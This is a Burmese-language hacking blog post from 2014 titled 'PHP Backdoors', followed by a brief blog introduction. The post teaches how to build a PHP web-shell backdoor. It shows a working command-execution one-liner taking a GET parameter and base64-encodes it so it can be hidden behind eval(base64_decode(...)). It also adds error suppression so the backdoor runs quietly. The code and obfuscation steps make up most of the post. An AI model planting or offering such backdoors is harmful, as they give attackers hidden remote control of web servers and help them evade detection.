menu

Saturday, November 8, 2014

PHP Backdoors

PHP Backdoors အေျကာင္းေလးပါ ။ အျကီးျကီးေတာ့မဟုတ္ပါဘူး ။ သိသေလာက္ေလးျပန္ေရးေပးထားတာပါ ။

အမွားပါခဲ့ရင္လည္း ျကိဳတင္ျပီးေတာင္းပန္ပါရေစ ။ က်ေနာ္ PHP သိပ္မရလို ့ပါ ။ ဒီလိုဘဲလိုတာေလးေလာက္နားလည္ေအာင္ျကည့္ျကည့္ျပီး စမ္းခဲ့တာဆိုေတာ့ေလ ။ က်ေနာ္ေျပာတဲ့ထဲမွာ မွားေနတဲ့အေျကာင္းအရာေလးေတြမ်ားေတြ ့ခဲ့ရင္ေတာ့ အားမနာဘဲ ၀င္ေရာက္ေထာက္ျပေပးဖို ့ ပထမဆံုးေတာင္းဆိုလို္က္ပါတယ္ ညီအစ္ကိုတို ့ခမ်ား ။

ဒါဆိုစလို္က္ရေအာင္

က်ေနာ္တို ့ Backdoor တစ္ခုအတြက္ အရင္ဆံုး ဘယ္ PHP Function ေတြလိုအပ္မလဲ?
ေအာက္မွာျကည့္ျကည့္ပါ ။
- System(); // External Program တစ္ခုကို execute လုပ္ဖို ့အတြက္ပါ ။
- Exec(); // ဒါလည္း အတူတူပါဘဲ ။
- Fopen(); // ဒါကေတာ့ System မွာ file တစ္ခုကိုဖြင့္ဖို ့အတြက္ပါ ။
- Include(); // Includes a file to be executed.
- Eval(); // PHP Code ေတြကို execute လုပ္ဖို ့အတြက္ပါ ။ .


ဒီ function ေတြကိုသံုးျပီး input ကိုဖမ္းဖို ့က်ေတာ့ ေအာက္က code ေတြတခ်က္ျကည့္ပါ ။
- $_GET['var']; // Receives input like: file.php?var=command
- $_POST['var']; // Receives input via the POST-parameter. (LiveHTTPHeaders can be used).
- $_COOKIE['var']; // Receives input via browser-cookies.

ေနာက္တစ္ဆင့္အေနနဲ ့ေတာ့ က်ေနာ္တို ့ backdoor ကို encode လုပ္မယ္ ။

encode လုပ္ဖို ့ နည္းေတြအမ်ားျကီးရွိပါတယ္ ။ Shell code လိုမ်ိဳး encode လုပ္မလား ။
base64 encode လုပ္မလား ။ ျကိုက္သလိုလုပ္လို ့ေတာ့ရပါတယ္ ။

Base64 နဲ ့ဘဲ encode လုပ္မယ္ဆိုပါေတာ့ ။
system() + $_GET[] + base64_encode()
ေအာက္က code ကို encode လုပ္ခ်င္တယ္ဆိုပါစို ့

 <?php system($_GET['s3cr3t']); ?>

ဒီေအာက္ကလိုပံုစံမ်ိဳးနဲ ့လုပ္ေပးရပါမယ္ ။
<?php
$var = "system(\$_GET['s3cr3t']);"; // $ needs to be escaped.
echo base64_encode($var);
?>


ဒီလို encode လုပ္ထားတဲ့ code ကိုအလုပ္လုပ္ဖို ့အတြက္ က်ေနာ္တို ့ decode ျပန္လုပ္ေပးရပါမယ္ ။
 <?php
eval(base64_decode("c3lzdGVtKCRfR0VUWydzM2NyM3QnXSk7"));
?>


ေနာက္တစ္ခုသိထားရမွာေလး တစ္ခုကေတာ့ တခါတေလ system() ကိုသံုးတဲ့အခါမွာ error တက္လာတတ္ပါတယ္ ။
ဒါေျကာင့္ က်ေနာ္တို ့ @ ဆိုတဲ့အရာေလးကိုထည့္သံုးေပးရမယ္ ။

ဒီလိုဆို ေအာက္က code လိုမ်ိဳးျဖစ္သြားမယ္ ။
<?php @system($_GET['server']); ?>

ဒီေလာက္ဆို နားလည္ျကမယ္လို ့ထင္ပါတယ္ ။ ေနာက္ျပီး  system() တို ့ fopen() တို ့ကို implement လုပ္ျပီးတဲ့အခါမွာေတာ့
<pre></pre> tag ထဲမွာ output ထားျကပါတယ္ ။ သံုးရလြယ္ေအာင္လို ့ပါ

Backdoor သံုးပံုသံုးနည္းေလးေတြ ကိုကရင္မေရးထားတာ ရွိပါတယ္ ျကည့္ျကည့္လိုက္ပါ ။ ပိုနားလည္သြားပါလိမ့္မယ္ ။
ေနာက္ပိုင္းအခ်ိန္ရရင္ က်ေနာ္ထပ္ရွာျပီး ေရးေပးပါမယ္ ။

Backdoor tutorial by PHP_Killer
http://www.mmsecurity.net/forum/showthread.php?tid=1251

Backdoor Tutorial by Zin Aung
http://www.mmsecurity.net/forum/showthread.php?tid=336

Greetz: 133720 : maXe:

Thanks
rEvolt!

Thursday, November 6, 2014

Introduction

က်ေနာ့္အေနနဲ ့ ဒီ Blog ေလးကိုတည္ေထာင္ခဲ့တဲ့ရည္ရြယ္ခ်က္ကေတာ့ က်ေနာ့္ရဲ ့သူငယ္ခ်င္းမိတ္ေဆြအားလံုး အပ်င္းေျပ ေစဖို ့ဘဲျဖစ္ျဖစ္ ဗဟုသုတတိုးပြားေစဖို ့ဘဲျဖစ္ျဖစ္ ရည္ရြယ္ျပီး စျဖစ္ခဲ့တာပါ ။ Categories ေတြခြဲျပီး တင္ေပးသြားပါမယ္ ။မိမိနွစ္သက္ရာကို ျကည့္ရွုနိုင္ေအာင္ အတတ္နိုင္ဆံုးလုပ္ေပးသြားပါမယ္လို ့ ပထမဆံုးေျပာျကားျခင္းပါတယ္ ။